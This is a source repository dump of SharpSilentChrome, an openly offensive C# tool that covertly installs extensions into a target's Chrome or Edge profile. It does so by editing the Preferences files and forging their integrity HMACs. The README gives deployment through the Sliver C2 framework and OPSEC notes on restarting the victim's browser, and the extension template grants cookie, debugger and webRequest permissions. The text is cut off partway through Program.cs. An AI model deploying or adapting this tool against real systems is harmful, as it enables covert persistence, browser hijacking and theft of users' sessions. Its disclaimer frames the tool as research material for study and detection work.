├── FodyWeavers.xml
├── App.config
├── packages.config
├── Properties
└── AssemblyInfo.cs
├── SharpSilentChrome.sln
├── misc
├── extension_template.json
└── cursed.py
├── .gitattributes
├── Utils.cs
├── README.md
├── HmacUtils.cs
├── SharpSilentChrome.csproj
├── .gitignore
├── Program.cs
├── ExtensionInstaller.cs
└── ProcessUtils.cs
/FodyWeavers.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
--------------------------------------------------------------------------------
/App.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/packages.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
1 | using System.Reflection;
2 | using System.Runtime.CompilerServices;
3 | using System.Runtime.InteropServices;
4 |
5 | // General Information about an assembly is controlled through the following
6 | // set of attributes. Change these attribute values to modify the information
7 | // associated with an assembly.
8 | [assembly: AssemblyTitle("SharpSilentChrome")]
9 | [assembly: AssemblyDescription("")]
10 | [assembly: AssemblyConfiguration("")]
11 | [assembly: AssemblyCompany("")]
12 | [assembly: AssemblyProduct("SharpSilentChrome")]
13 | [assembly: AssemblyCopyright("Copyright © 2025")]
14 | [assembly: AssemblyTrademark("")]
15 | [assembly: AssemblyCulture("")]
16 |
17 | // Setting ComVisible to false makes the types in this assembly not visible
18 | // to COM components. If you need to access a type in this assembly from
19 | // COM, set the ComVisible attribute to true on that type.
20 | [assembly: ComVisible(false)]
21 |
22 | // The following GUID is for the ID of the typelib if this project is exposed to COM
23 | [assembly: Guid("4d4cc415-193b-4878-8b2a-161752c0b766")]
24 |
25 | // Version information for an assembly consists of the following four values:
26 | //
27 | // Major Version
28 | // Minor Version
29 | // Build Number
30 | // Revision
31 | //
32 | // You can specify all the values or you can default the Build and Revision Numbers
33 | // by using the '*' as shown below:
34 | // [assembly: AssemblyVersion("1.0.*")]
35 | [assembly: AssemblyVersion("1.0.0.0")]
36 | [assembly: AssemblyFileVersion("1.0.0.0")]
37 |
--------------------------------------------------------------------------------
/SharpSilentChrome.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.10.35013.160
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SharpSilentChrome", "SharpSilentChrome.csproj", "{4D4CC415-193B-4878-8B2A-161752C0B766}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Debug|x64 = Debug|x64
12 | Release|Any CPU = Release|Any CPU
13 | Release|x64 = Release|x64
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {4D4CC415-193B-4878-8B2A-161752C0B766}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
17 | {4D4CC415-193B-4878-8B2A-161752C0B766}.Debug|Any CPU.Build.0 = Debug|Any CPU
18 | {4D4CC415-193B-4878-8B2A-161752C0B766}.Debug|x64.ActiveCfg = Debug|x64
19 | {4D4CC415-193B-4878-8B2A-161752C0B766}.Debug|x64.Build.0 = Debug|x64
20 | {4D4CC415-193B-4878-8B2A-161752C0B766}.Release|Any CPU.ActiveCfg = Release|Any CPU
21 | {4D4CC415-193B-4878-8B2A-161752C0B766}.Release|Any CPU.Build.0 = Release|Any CPU
22 | {4D4CC415-193B-4878-8B2A-161752C0B766}.Release|x64.ActiveCfg = Release|x64
23 | {4D4CC415-193B-4878-8B2A-161752C0B766}.Release|x64.Build.0 = Release|x64
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | GlobalSection(ExtensibilityGlobals) = postSolution
29 | SolutionGuid = {4041E420-8296-43AB-BBE8-9735582DF2DD}
30 | EndGlobalSection
31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/misc/extension_template.json:
--------------------------------------------------------------------------------
1 | {
2 | "active_permissions": {
3 | "api": [
4 | "activeTab",
5 | "cookies",
6 | "debugger",
7 | "webNavigation",
8 | "webRequest",
9 | "scripting"
10 | ],
11 | "explicit_host": [
12 | ""
13 | ],
14 | "manifest_permissions": [],
15 | "scriptable_host": []
16 | },
17 | "commands": {},
18 | "content_settings": [],
19 | "creation_flags": 38,
20 | "filtered_service_worker_events": {
21 | "webNavigation.onCompleted": [
22 | {}
23 | ]
24 | },
25 | "first_install_time": "13364417633506288",
26 | "from_webstore": false,
27 | "granted_permissions": {
28 | "api": [
29 | "activeTab",
30 | "cookies",
31 | "debugger",
32 | "webNavigation",
33 | "webRequest",
34 | "scripting"
35 | ],
36 | "explicit_host": [
37 | ""
38 | ],
39 | "manifest_permissions": [],
40 | "scriptable_host": []
41 | },
42 | "incognito_content_settings": [],
43 | "incognito_preferences": {},
44 | "last_update_time": "13364417633506288",
45 | "location": 4,
46 | "newAllowFileAccess": true,
47 | "path": "__EXTENSION_PATH__",
48 | "preferences": {},
49 | "regular_only_preferences": {},
50 | "service_worker_registration_info": {
51 | "version": "0.1.1"
52 | },
53 | "serviceworkerevents": [
54 | "cookies.onChanged",
55 | "webRequest.onBeforeRequest/s1"
56 | ],
57 | "state": 1,
58 | "was_installed_by_default": false,
59 | "was_installed_by_oem": false,
60 | "withholding_permissions": false
61 | }
--------------------------------------------------------------------------------
/.gitattributes:
--------------------------------------------------------------------------------
1 | ###############################################################################
2 | # Set default behavior to automatically normalize line endings.
3 | ###############################################################################
4 | * text=auto
5 |
6 | ###############################################################################
7 | # Set default behavior for command prompt diff.
8 | #
9 | # This is need for earlier builds of msysgit that does not have it on by
10 | # default for csharp files.
11 | # Note: This is only used by command line
12 | ###############################################################################
13 | #*.cs diff=csharp
14 |
15 | ###############################################################################
16 | # Set the merge driver for project and solution files
17 | #
18 | # Merging from the command prompt will add diff markers to the files if there
19 | # are conflicts (Merging from VS is not affected by the settings below, in VS
20 | # the diff markers are never inserted). Diff markers may cause the following
21 | # file extensions to fail to load in VS. An alternative would be to treat
22 | # these files as binary and thus will always conflict and require user
23 | # intervention with every merge. To do so, just uncomment the entries below
24 | ###############################################################################
25 | #*.sln merge=binary
26 | #*.csproj merge=binary
27 | #*.vbproj merge=binary
28 | #*.vcxproj merge=binary
29 | #*.vcproj merge=binary
30 | #*.dbproj merge=binary
31 | #*.fsproj merge=binary
32 | #*.lsproj merge=binary
33 | #*.wixproj merge=binary
34 | #*.modelproj merge=binary
35 | #*.sqlproj merge=binary
36 | #*.wwaproj merge=binary
37 |
38 | ###############################################################################
39 | # behavior for image files
40 | #
41 | # image files are treated as binary by default.
42 | ###############################################################################
43 | #*.jpg binary
44 | #*.png binary
45 | #*.gif binary
46 |
47 | ###############################################################################
48 | # diff behavior for common document formats
49 | #
50 | # Convert binary document formats to text before diffing them. This feature
51 | # is only available from the command line. Turn it on by uncommenting the
52 | # entries below.
53 | ###############################################################################
54 | #*.doc diff=astextplain
55 | #*.DOC diff=astextplain
56 | #*.docx diff=astextplain
57 | #*.DOCX diff=astextplain
58 | #*.dot diff=astextplain
59 | #*.DOT diff=astextplain
60 | #*.pdf diff=astextplain
61 | #*.PDF diff=astextplain
62 | #*.rtf diff=astextplain
63 | #*.RTF diff=astextplain
64 |
--------------------------------------------------------------------------------
/Utils.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.IO;
3 | using System.Security.Cryptography;
4 | using System.Text;
5 |
6 | namespace SharpSilentChrome
7 | {
8 | static class Utils
9 | {
10 | public static void WriteLine(string message)
11 | {
12 | #if DEBUG
13 | Console.WriteLine($"[DEBUG] {message}");
14 | #endif
15 | }
16 |
17 | public static string GetExtensionId(string path)
18 | {
19 | var bytes = Encoding.Unicode.GetBytes(path);
20 | using (var sha = SHA256.Create())
21 | {
22 | var hash = sha.ComputeHash(bytes);
23 | var hex = BitConverter.ToString(hash).Replace("-", "").ToLowerInvariant();
24 | var sb = new StringBuilder();
25 | foreach (var c in hex)
26 | {
27 | int val = Convert.ToInt32(c.ToString(), 16);
28 | sb.Append((char)(val + 'a'));
29 | if (sb.Length == 32) break;
30 | }
31 | return sb.ToString();
32 | }
33 | }
34 |
35 | // Not used anymore, but keeping it just in case - peak SWE experience
36 | public static string GetUsernameFromSID(string sid)
37 | {
38 | try
39 | {
40 | string regPath = $@"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\{sid}";
41 | object profileImagePath = Microsoft.Win32.Registry.GetValue(regPath, "ProfileImagePath", null);
42 |
43 | if (profileImagePath == null)
44 | {
45 | Utils.WriteLine($"[-] Could not find profile path for SID: {sid}");
46 | return null;
47 | }
48 |
49 | string userProfilePath = profileImagePath.ToString();
50 | string username = Path.GetFileName(userProfilePath);
51 |
52 | Utils.WriteLine($"[+] Resolved username from SID: {username}");
53 | return username;
54 | }
55 | catch (Exception ex)
56 | {
57 | Utils.WriteLine($"[-] Error resolving username from SID {sid}: {ex.Message}");
58 | return null;
59 | }
60 | }
61 |
62 | public static (string securePrefs, string prefs) GetPrefsPaths(string profilePath, string browser)
63 | {
64 | string securePrefsPath = "";
65 | string prefsPath = "";
66 |
67 | // Build Secure Preferences and Preferences file paths
68 | if (browser.ToLower() == "chrome")
69 | {
70 | securePrefsPath = Path.Combine(profilePath, @"AppData\Local\Google\Chrome\User Data\Default\Secure Preferences");
71 | prefsPath = Path.Combine(profilePath, @"AppData\Local\Google\Chrome\User Data\Default\Preferences");
72 | }
73 | else if (browser.ToLower() == "msedge")
74 | {
75 | securePrefsPath = Path.Combine(profilePath, @"AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences");
76 | prefsPath = Path.Combine(profilePath, @"AppData\Local\Microsoft\Edge\User Data\Default\Preferences");
77 | }
78 | else
79 | {
80 | Utils.WriteLine($"[-] Browser not supported: {browser}");
81 | return (null, null);
82 | }
83 |
84 | return (securePrefsPath, prefsPath);
85 | }
86 |
87 | }
88 | }
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # SharpSilentChrome
2 |
3 | https://github.com/user-attachments/assets/b8595cd8-77e1-41ab-ad72-293e0c78168e
4 |
5 | SharpSilentChrome is a C# project that "silently" installs browser extensions on Google Chrome or MS Edge by updating the browsers' `Preferences` and `Secure Preferences` files. Currently, it only supports Windows.
6 |
7 | [Blog post - KOREAN](https://blog.sunggwanchoi.com/kor-introducing-sharpsilentchrome/)
8 |
9 | I simply ported Syntax-err0r's and AsaurusRex's python code to C#. For all information regarding research, detection, opsec, and more, refer to the credits section below.
10 |
11 | ## Credits
12 |
13 | Original Research Paper: [https://www.cse.chalmers.se/~andrei/cans20.pdf](https://www.cse.chalmers.se/~andrei/cans20.pdf)
14 |
15 | Nicholas Murray(Syntax-err0r)'s original blog post: [https://syntax-err0r.github.io/Silently_Install_Chrome_Extension.html](https://syntax-err0r.github.io/Silently_Install_Chrome_Extension.html) and[https://syntax-err0r.github.io/Return_Of_The_Extension.html](https://syntax-err0r.github.io/Return_Of_The_Extension.html)
16 |
17 | AsaurusRex's blog post: [https://medium.com/@marcusthebrody/silently-install-chrome-extensions-macos-version-becf164679c2](https://medium.com/@marcusthebrody/silently-install-chrome-extensions-macos-version-becf164679c2) and [https://medium.com/@marcusthebrody/silently-install-macos-chrome-extensions-part-2-c9deab4216cd](https://medium.com/@marcusthebrody/silently-install-macos-chrome-extensions-part-2-c9deab4216cd)
18 |
19 | AsaurusRex's python code: [https://github.com/asaurusrex/Silent_Chrome](https://github.com/asaurusrex/Silent_Chrome)
20 |
21 | ## Usage
22 |
23 | Drop the `extension` directory on target's filesystem
24 |
25 | Standalone usage
26 | ```
27 | Usage: SharpSilentChrome.exe install /browser:[chrome/msedge] /sid: /profilepath: /path:
28 | Usage: SharpSilentChrome.exe revert /browser:[chrome/msedge] /sid: /profilepath:
29 |
30 | Example: SharpSilentChrome.exe install /browser:chrome /sid:S-1-5-21-1234567890-1234567890-1234567890-1000 /profilepath:"C:\Users\john.doe" /path:"C:\Users\Public\Downloads\extension"
31 | Example: SharpSilentChrome.exe revert /browser:chrome /sid:S-1-5-21-1234567890-1234567890-1234567890-1000 /profilepath:"C:\Users\john.doe
32 |
33 | Path is CASE SENSITIVE
34 | ```
35 |
36 | Sliver usage
37 | ```
38 | inline-execute-assembly /root/SharpSilentChrome.exe 'install /sid:S-1-5-21-3783789134-3776525684-4265850423-500 /path:C:\Users\Public\Downloads\extension /browser:chrome /profilepath:c:\users\administrator'
39 | ```
40 |
41 | ## Caveats & OPSEC
42 |
43 | 1. Before installing the extension, SSC will create backup files for `Preferences` and `Secure Preferences` in user's data directory.
44 |
45 | 2. If a user has browser processes running, SSC will kill and restart all browser processes. This will take around 1 second and upon restarting, browser will restore all previous tabs and cookies. However, the user will feel the "process crash" type of experience.
46 |
47 | 3. If a user does not have browser processes running, SSC will just simply install the extension.
48 |
49 | 4. Installing extension to another/different user will NOT restore their browser process. It is highly recommended to install the extension when the target user is not running their browser process.
50 |
51 | ## TODO
52 |
53 | - [ ] BOF port
54 | - [ ] Update handling different/another user when they have browser processes running. Currently, SSC will not restore their tabs and will not restart the browser - the target user must manually restart the browser from their gui session.
55 |
56 | ## CursedChrome testing
57 | This section is mainly for personal testing purposes using the [CursedChrome](https://github.com/mandatoryprogrammer/CursedChrome) project. You can just ignore this part.
58 | ```
59 | # 1. Local port forwarding
60 | ssh -i @ -L 8118:127.0.0.1:8118 -L 8080:127.0.0.1:8080
61 |
62 | #2. Use Firefox + Incognito + Complete turn off/on every time for cookie-sync-extension
63 | - Cookie-sync-extension requires manifestv2, which currently only works with firefox.
64 |
65 | # 3. Load cookie-sync-extension
66 | - about:debugging#/runtime/this-firefox -> Load Temporary addon -> manifest.json
67 |
68 | # 4. When testing, complete turn off/on every time for cookie-sync-extension
69 | - Completely turn off/on firefox to clear cache/data
70 | ```
71 |
72 | ## Disclaimer
73 |
74 | Information in this repository is for research and educational purposes. SharpSilentChrome is not intended to be used in production environments and engagements. If you are willing to do so, ensure to review the source code and modify it before using it.
75 |
--------------------------------------------------------------------------------
/HmacUtils.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.IO;
3 | using System.Text;
4 | using System.Linq;
5 | using System.Security.Cryptography;
6 | using Newtonsoft.Json;
7 | using Newtonsoft.Json.Linq;
8 |
9 | namespace SharpSilentChrome
10 | {
11 | static class HmacUtils
12 | {
13 | public static void RemoveEmpty(JToken token)
14 | {
15 | if (token.Type == JTokenType.Object)
16 | {
17 | var properties = token.Children().ToList();
18 | foreach (var prop in properties)
19 | {
20 | var val = prop.Value;
21 | RemoveEmpty(val);
22 |
23 | if (val.Type == JTokenType.Object && !val.HasValues)
24 | prop.Remove();
25 | else if (val.Type == JTokenType.Array && !val.HasValues)
26 | prop.Remove();
27 | else if (val.Type == JTokenType.String && string.IsNullOrEmpty(val.ToString()))
28 | prop.Remove();
29 | else if ((val.Type == JTokenType.Null ||
30 | val.Type == JTokenType.Boolean && val.ToObject() == false ||
31 | val.Type == JTokenType.Integer && val.ToObject() == 0) && val.Type != JTokenType.Boolean && val.Type != JTokenType.Integer)
32 | prop.Remove();
33 | }
34 | }
35 | else if (token.Type == JTokenType.Array)
36 | {
37 | var items = token.Children().ToList();
38 | foreach (var item in items)
39 | {
40 | RemoveEmpty(item);
41 |
42 | if ((item.Type == JTokenType.Object || item.Type == JTokenType.Array) && !item.HasValues)
43 | item.Remove();
44 | else if (item.Type == JTokenType.String && string.IsNullOrEmpty(item.ToString()))
45 | item.Remove();
46 | else if ((item.Type == JTokenType.Null ||
47 | item.Type == JTokenType.Boolean && item.ToObject() == false ||
48 | item.Type == JTokenType.Integer && item.ToObject() == 0) && item.Type != JTokenType.Boolean && item.Type != JTokenType.Integer)
49 | item.Remove();
50 | }
51 | }
52 | }
53 |
54 | public static string CalculateHMAC(JToken value, string path, string sid, byte[] seed)
55 | {
56 | if (value.Type == JTokenType.Object || value.Type == JTokenType.Array)
57 | RemoveEmpty(value);
58 |
59 | string json = JsonConvert.SerializeObject(value, new JsonSerializerSettings
60 | {
61 | Formatting = Formatting.None,
62 | StringEscapeHandling = StringEscapeHandling.Default // Don't escape non-ASCII
63 | });
64 |
65 | // Apply replacements
66 | json = json.Replace("<", "\\u003C").Replace("\\u2122", "™");
67 |
68 | string message = sid + path + json;
69 |
70 | var messageBytes = Encoding.UTF8.GetBytes(message);
71 |
72 | using (var hmac = new HMACSHA256(seed))
73 | {
74 | byte[] hash = hmac.ComputeHash(messageBytes);
75 | var result = BitConverter.ToString(hash).Replace("-", "").ToUpperInvariant();
76 | return result;
77 | }
78 | }
79 |
80 | public static string CalculateChromeDevMac(byte[] seed, string sid, string prefPath, object prefValue)
81 | {
82 | var serialized = JsonConvert.SerializeObject(prefValue, new JsonSerializerSettings
83 | {
84 | Formatting = Formatting.None
85 | });
86 |
87 | var input = Encoding.UTF8.GetBytes(sid + prefPath + serialized);
88 | using (var hmac = new HMACSHA256(seed))
89 | {
90 | var hash = hmac.ComputeHash(input);
91 | return BitConverter.ToString(hash).Replace("-", "").ToLowerInvariant();
92 | }
93 | }
94 |
95 | public static string CalcSuperMac(string filePath, string sid, byte[] seed)
96 | {
97 | var text = File.ReadAllText(filePath, Encoding.UTF8);
98 | var data = JObject.Parse(text);
99 | var macs = data["protection"]["macs"];
100 |
101 | // Serialize like Python: compact JSON with no spaces
102 | var json = JsonConvert.SerializeObject(macs, new JsonSerializerSettings
103 | {
104 | Formatting = Formatting.None
105 | }).Replace(" ", "");
106 |
107 | var msg = sid + json;
108 | using (var hmac = new HMACSHA256(seed))
109 | {
110 | var hash = hmac.ComputeHash(Encoding.UTF8.GetBytes(msg));
111 | return BitConverter.ToString(hash).Replace("-", "").ToUpperInvariant();
112 | }
113 | }
114 | }
115 | }
--------------------------------------------------------------------------------
/SharpSilentChrome.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 | Debug
7 | AnyCPU
8 | {4D4CC415-193B-4878-8B2A-161752C0B766}
9 | Exe
10 | SharpSilentChrome
11 | SharpSilentChrome
12 | v4.8
13 | 512
14 | true
15 | true
16 |
17 |
18 |
19 |
20 | AnyCPU
21 | true
22 | full
23 | false
24 | bin\Debug\
25 | DEBUG;TRACE
26 | prompt
27 | 4
28 |
29 |
30 | AnyCPU
31 | pdbonly
32 | true
33 | bin\Release\
34 | TRACE
35 | prompt
36 | 4
37 |
38 |
39 | true
40 | bin\x64\Debug\
41 | DEBUG;TRACE
42 | full
43 | x64
44 | 7.3
45 | prompt
46 | true
47 |
48 |
49 | bin\x64\Release\
50 | TRACE
51 | true
52 | pdbonly
53 | x64
54 | 7.3
55 | prompt
56 | true
57 |
58 |
59 |
60 | packages\Costura.Fody.6.0.0\lib\netstandard2.0\Costura.dll
61 |
62 |
63 | packages\Newtonsoft.Json.13.0.3\lib\net45\Newtonsoft.Json.dll
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 | This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}.
92 |
93 |
94 |
95 |
96 |
97 |
98 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | ## Ignore Visual Studio temporary files, build results, and
2 | ## files generated by popular Visual Studio add-ons.
3 | ##
4 | ## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore
5 |
6 | # User-specific files
7 | *.rsuser
8 | *.suo
9 | *.user
10 | *.userosscache
11 | *.sln.docstates
12 |
13 | # User-specific files (MonoDevelop/Xamarin Studio)
14 | *.userprefs
15 |
16 | # Mono auto generated files
17 | mono_crash.*
18 |
19 | # Build results
20 | [Dd]ebug/
21 | [Dd]ebugPublic/
22 | [Rr]elease/
23 | [Rr]eleases/
24 | x64/
25 | x86/
26 | [Ww][Ii][Nn]32/
27 | [Aa][Rr][Mm]/
28 | [Aa][Rr][Mm]64/
29 | bld/
30 | [Bb]in/
31 | [Oo]bj/
32 | [Oo]ut/
33 | [Ll]og/
34 | [Ll]ogs/
35 |
36 | # Visual Studio 2015/2017 cache/options directory
37 | .vs/
38 | # Uncomment if you have tasks that create the project's static files in wwwroot
39 | #wwwroot/
40 |
41 | # Visual Studio 2017 auto generated files
42 | Generated\ Files/
43 |
44 | # MSTest test Results
45 | [Tt]est[Rr]esult*/
46 | [Bb]uild[Ll]og.*
47 |
48 | # NUnit
49 | *.VisualState.xml
50 | TestResult.xml
51 | nunit-*.xml
52 |
53 | # Build Results of an ATL Project
54 | [Dd]ebugPS/
55 | [Rr]eleasePS/
56 | dlldata.c
57 |
58 | # Benchmark Results
59 | BenchmarkDotNet.Artifacts/
60 |
61 | # .NET Core
62 | project.lock.json
63 | project.fragment.lock.json
64 | artifacts/
65 |
66 | # ASP.NET Scaffolding
67 | ScaffoldingReadMe.txt
68 |
69 | # StyleCop
70 | StyleCopReport.xml
71 |
72 | # Files built by Visual Studio
73 | *_i.c
74 | *_p.c
75 | *_h.h
76 | *.ilk
77 | *.meta
78 | *.obj
79 | *.iobj
80 | *.pch
81 | *.pdb
82 | *.ipdb
83 | *.pgc
84 | *.pgd
85 | *.rsp
86 | *.sbr
87 | *.tlb
88 | *.tli
89 | *.tlh
90 | *.tmp
91 | *.tmp_proj
92 | *_wpftmp.csproj
93 | *.log
94 | *.vspscc
95 | *.vssscc
96 | .builds
97 | *.pidb
98 | *.svclog
99 | *.scc
100 |
101 | # Chutzpah Test files
102 | _Chutzpah*
103 |
104 | # Visual C++ cache files
105 | ipch/
106 | *.aps
107 | *.ncb
108 | *.opendb
109 | *.opensdf
110 | *.sdf
111 | *.cachefile
112 | *.VC.db
113 | *.VC.VC.opendb
114 |
115 | # Visual Studio profiler
116 | *.psess
117 | *.vsp
118 | *.vspx
119 | *.sap
120 |
121 | # Visual Studio Trace Files
122 | *.e2e
123 |
124 | # TFS 2012 Local Workspace
125 | $tf/
126 |
127 | # Guidance Automation Toolkit
128 | *.gpState
129 |
130 | # ReSharper is a .NET coding add-in
131 | _ReSharper*/
132 | *.[Rr]e[Ss]harper
133 | *.DotSettings.user
134 |
135 | # TeamCity is a build add-in
136 | _TeamCity*
137 |
138 | # DotCover is a Code Coverage Tool
139 | *.dotCover
140 |
141 | # AxoCover is a Code Coverage Tool
142 | .axoCover/*
143 | !.axoCover/settings.json
144 |
145 | # Coverlet is a free, cross platform Code Coverage Tool
146 | coverage*.json
147 | coverage*.xml
148 | coverage*.info
149 |
150 | # Visual Studio code coverage results
151 | *.coverage
152 | *.coveragexml
153 |
154 | # NCrunch
155 | _NCrunch_*
156 | .*crunch*.local.xml
157 | nCrunchTemp_*
158 |
159 | # MightyMoose
160 | *.mm.*
161 | AutoTest.Net/
162 |
163 | # Web workbench (sass)
164 | .sass-cache/
165 |
166 | # Installshield output folder
167 | [Ee]xpress/
168 |
169 | # DocProject is a documentation generator add-in
170 | DocProject/buildhelp/
171 | DocProject/Help/*.HxT
172 | DocProject/Help/*.HxC
173 | DocProject/Help/*.hhc
174 | DocProject/Help/*.hhk
175 | DocProject/Help/*.hhp
176 | DocProject/Help/Html2
177 | DocProject/Help/html
178 |
179 | # Click-Once directory
180 | publish/
181 |
182 | # Publish Web Output
183 | *.[Pp]ublish.xml
184 | *.azurePubxml
185 | # Note: Comment the next line if you want to checkin your web deploy settings,
186 | # but database connection strings (with potential passwords) will be unencrypted
187 | *.pubxml
188 | *.publishproj
189 |
190 | # Microsoft Azure Web App publish settings. Comment the next line if you want to
191 | # checkin your Azure Web App publish settings, but sensitive information contained
192 | # in these scripts will be unencrypted
193 | PublishScripts/
194 |
195 | # NuGet Packages
196 | *.nupkg
197 | # NuGet Symbol Packages
198 | *.snupkg
199 | # The packages folder can be ignored because of Package Restore
200 | **/[Pp]ackages/*
201 | # except build/, which is used as an MSBuild target.
202 | !**/[Pp]ackages/build/
203 | # Uncomment if necessary however generally it will be regenerated when needed
204 | #!**/[Pp]ackages/repositories.config
205 | # NuGet v3's project.json files produces more ignorable files
206 | *.nuget.props
207 | *.nuget.targets
208 |
209 | # Microsoft Azure Build Output
210 | csx/
211 | *.build.csdef
212 |
213 | # Microsoft Azure Emulator
214 | ecf/
215 | rcf/
216 |
217 | # Windows Store app package directories and files
218 | AppPackages/
219 | BundleArtifacts/
220 | Package.StoreAssociation.xml
221 | _pkginfo.txt
222 | *.appx
223 | *.appxbundle
224 | *.appxupload
225 |
226 | # Visual Studio cache files
227 | # files ending in .cache can be ignored
228 | *.[Cc]ache
229 | # but keep track of directories ending in .cache
230 | !?*.[Cc]ache/
231 |
232 | # Others
233 | ClientBin/
234 | ~$*
235 | *~
236 | *.dbmdl
237 | *.dbproj.schemaview
238 | *.jfm
239 | *.pfx
240 | *.publishsettings
241 | orleans.codegen.cs
242 |
243 | # Including strong name files can present a security risk
244 | # (https://github.com/github/gitignore/pull/2483#issue-259490424)
245 | #*.snk
246 |
247 | # Since there are multiple workflows, uncomment next line to ignore bower_components
248 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622)
249 | #bower_components/
250 |
251 | # RIA/Silverlight projects
252 | Generated_Code/
253 |
254 | # Backup & report files from converting an old project file
255 | # to a newer Visual Studio version. Backup files are not needed,
256 | # because we have git ;-)
257 | _UpgradeReport_Files/
258 | Backup*/
259 | UpgradeLog*.XML
260 | UpgradeLog*.htm
261 | ServiceFabricBackup/
262 | *.rptproj.bak
263 |
264 | # SQL Server files
265 | *.mdf
266 | *.ldf
267 | *.ndf
268 |
269 | # Business Intelligence projects
270 | *.rdl.data
271 | *.bim.layout
272 | *.bim_*.settings
273 | *.rptproj.rsuser
274 | *- [Bb]ackup.rdl
275 | *- [Bb]ackup ([0-9]).rdl
276 | *- [Bb]ackup ([0-9][0-9]).rdl
277 |
278 | # Microsoft Fakes
279 | FakesAssemblies/
280 |
281 | # GhostDoc plugin setting file
282 | *.GhostDoc.xml
283 |
284 | # Node.js Tools for Visual Studio
285 | .ntvs_analysis.dat
286 | node_modules/
287 |
288 | # Visual Studio 6 build log
289 | *.plg
290 |
291 | # Visual Studio 6 workspace options file
292 | *.opt
293 |
294 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.)
295 | *.vbw
296 |
297 | # Visual Studio LightSwitch build output
298 | **/*.HTMLClient/GeneratedArtifacts
299 | **/*.DesktopClient/GeneratedArtifacts
300 | **/*.DesktopClient/ModelManifest.xml
301 | **/*.Server/GeneratedArtifacts
302 | **/*.Server/ModelManifest.xml
303 | _Pvt_Extensions
304 |
305 | # Paket dependency manager
306 | .paket/paket.exe
307 | paket-files/
308 |
309 | # FAKE - F# Make
310 | .fake/
311 |
312 | # CodeRush personal settings
313 | .cr/personal
314 |
315 | # Python Tools for Visual Studio (PTVS)
316 | __pycache__/
317 | *.pyc
318 |
319 | # Cake - Uncomment if you are using it
320 | # tools/**
321 | # !tools/packages.config
322 |
323 | # Tabs Studio
324 | *.tss
325 |
326 | # Telerik's JustMock configuration file
327 | *.jmconfig
328 |
329 | # BizTalk build output
330 | *.btp.cs
331 | *.btm.cs
332 | *.odx.cs
333 | *.xsd.cs
334 |
335 | # OpenCover UI analysis results
336 | OpenCover/
337 |
338 | # Azure Stream Analytics local run output
339 | ASALocalRun/
340 |
341 | # MSBuild Binary and Structured Log
342 | *.binlog
343 |
344 | # NVidia Nsight GPU debugger configuration file
345 | *.nvuser
346 |
347 | # MFractors (Xamarin productivity tool) working folder
348 | .mfractor/
349 |
350 | # Local History for Visual Studio
351 | .localhistory/
352 |
353 | # BeatPulse healthcheck temp database
354 | healthchecksdb
355 |
356 | # Backup folder for Package Reference Convert tool in Visual Studio 2017
357 | MigrationBackup/
358 |
359 | # Ionide (cross platform F# VS Code tools) working folder
360 | .ionide/
361 |
362 | # Fody - auto-generated XML schema
363 | FodyWeavers.xsd
--------------------------------------------------------------------------------
/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.IO;
3 |
4 | namespace SharpSilentChrome
5 | {
6 | class SharpSilentChrome
7 | {
8 | static void ShowUsage()
9 | {
10 | string usage = @"
11 |
12 | Usage: SharpSilentChrome.exe install /browser:[chrome/msedge] /sid: /profilepath: /path:
13 | Usage: SharpSilentChrome.exe revert /browser:[chrome/msedge] /sid: /profilepath:
14 |
15 | Example: SharpSilentChrome.exe install /browser:chrome /sid:S-1-5-21-1234567890-1234567890-1234567890-1000 /profilepath:""C:\Users\john.doe"" /path:""C:\Users\Public\Downloads\extension""
16 | Example: SharpSilentChrome.exe revert /browser:chrome /sid:S-1-5-21-1234567890-1234567890-1234567890-1000 /profilepath:""C:\Users\john.doe""
17 |
18 | Path is CASE SENSITIVE
19 |
20 | ";
21 | Console.WriteLine(usage);
22 | }
23 |
24 | static void Main(string[] args)
25 | {
26 | if (args.Length == 0)
27 | {
28 | ShowUsage();
29 | return;
30 | }
31 |
32 | switch (args[0].ToLower())
33 | {
34 | case "install":
35 | ExecuteInstall(args);
36 | break;
37 | case "revert":
38 | ExecuteRevert(args);
39 | break;
40 | default:
41 | ShowUsage();
42 | break;
43 | }
44 | }
45 |
46 | static (string sid, string profilePath, string extensionPath, string browser) ParseInstallArgs(string[] args)
47 | {
48 | string sid = null, profilePath = null, extensionPath = null, browser = null;
49 |
50 | for (int i = 1; i < args.Length; i++)
51 | {
52 | var arg = args[i];
53 | if (arg.StartsWith("/sid:", StringComparison.OrdinalIgnoreCase))
